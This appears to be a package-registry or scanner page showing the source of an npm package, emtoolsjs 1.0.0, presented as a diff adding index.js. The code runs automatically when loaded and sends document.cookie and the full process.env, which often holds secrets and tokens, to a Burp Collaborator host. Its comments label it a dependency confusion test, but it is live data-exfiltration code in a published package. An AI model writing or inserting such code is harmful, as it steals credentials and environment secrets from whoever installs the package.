emtoolsjs 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +38 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,38 @@
|
|
1
|
+
const https = require('https');
|
2
|
+
|
3
|
+
// Código para enviar datos a Burp Collaborator
|
4
|
+
function sendData() {
|
5
|
+
const data = JSON.stringify({
|
6
|
+
message: 'Dependency Confusion Test from emtoolsjs',
|
7
|
+
documentCookie: typeof document !== 'undefined' ? document.cookie : 'No access to document',
|
8
|
+
environment: process.env // Esto puede darte variables de entorno útiles para el análisis
|
9
|
+
});
|
10
|
+
|
11
|
+
const options = {
|
12
|
+
hostname: '2be71rh86kkyju99zxclirv7cyip6gu5.oastify.com', // Burp Collaborator URL
|
13
|
+
port: 443,
|
14
|
+
path: '/callback',
|
15
|
+
method: 'POST',
|
16
|
+
headers: {
|
17
|
+
'Content-Type': 'application/json',
|
18
|
+
'Content-Length': data.length
|
19
|
+
}
|
20
|
+
};
|
21
|
+
|
22
|
+
const req = https.request(options, (res) => {
|
23
|
+
res.on('data', (d) => process.stdout.write(d));
|
24
|
+
});
|
25
|
+
|
26
|
+
req.on('error', (error) => {
|
27
|
+
console.error(error);
|
28
|
+
});
|
29
|
+
|
30
|
+
req.write(data);
|
31
|
+
req.end();
|
32
|
+
}
|
33
|
+
|
34
|
+
// Ejecuta la función para enviar los datos
|
35
|
+
sendData();
|
36
|
+
|
37
|
+
module.exports = { sendData };
|
38
|
+
|